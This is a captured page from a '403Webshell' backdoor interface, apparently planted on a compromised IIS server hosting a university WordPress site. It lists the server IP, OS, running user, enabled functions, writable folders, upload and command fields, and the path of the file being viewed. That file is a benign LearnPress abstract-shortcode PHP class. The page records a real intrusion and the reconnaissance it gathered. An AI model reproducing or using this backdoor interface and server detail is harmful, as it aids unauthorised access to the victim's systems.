403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/aecm.ihu.gr/wp-content/plugins/learnpress/inc/abstracts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/aecm.ihu.gr/wp-content/plugins/learnpress/inc/abstracts/abstract-shortcode.php
<?php
/**
 * Abstract Class for Shortcodes.
 *
 * @author   ThimPress
 * @category Abstract
 * @package  Learnpress/Classes
 * @version  3.0.0
 */

/**
 * Prevent loading this file directly
 */
defined( 'ABSPATH' ) || exit();


if ( ! class_exists( 'LP_Abstract_Shortcode' ) ) {

	/**
	 * Class LP_Abstract_Shortcode
	 */
	abstract class LP_Abstract_Shortcode {
		/**
		 * Shortcode attributes.
		 *
		 * @var array|null
		 */
		protected $_atts = null;

		/**
		 * @var string
		 */
		protected $_name = '';

		/**
		 * LP_Abstract_Shortcode constructor.
		 *
		 * @param mixed $atts
		 */
		public function __construct( $atts = '' ) {
			$this->_atts = (array) $atts;
		}

		/**
		 * Return content of the shortcode.
		 *
		 * @return mixed
		 */
		abstract function output();

		/**
		 * Get shortcode attributes.
		 *
		 * @return mixed
		 */
		public function get_atts() {
			return apply_filters( 'learn-press/shortcode-' . $this->get_name() . '-atts', $this->_atts );
		}

		/**
		 * Get default name of shortcode (without prefix learn_press_) if it is not set.
		 *
		 * @return mixed|string
		 */
		public function get_name() {
			if ( ! $this->_name ) {
				if ( preg_match( '~^lp_(.*)_shortcode$~i', get_class( $this ), $m ) ) {
					$this->_name = preg_replace( '~_~', '-', strtolower( $m[1] ) );
				}
			}

			return $this->_name;
		}

		/**
		 * Convert to string
		 *
		 * @return mixed
		 */
		public function __toString() {
			return $this->output();
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit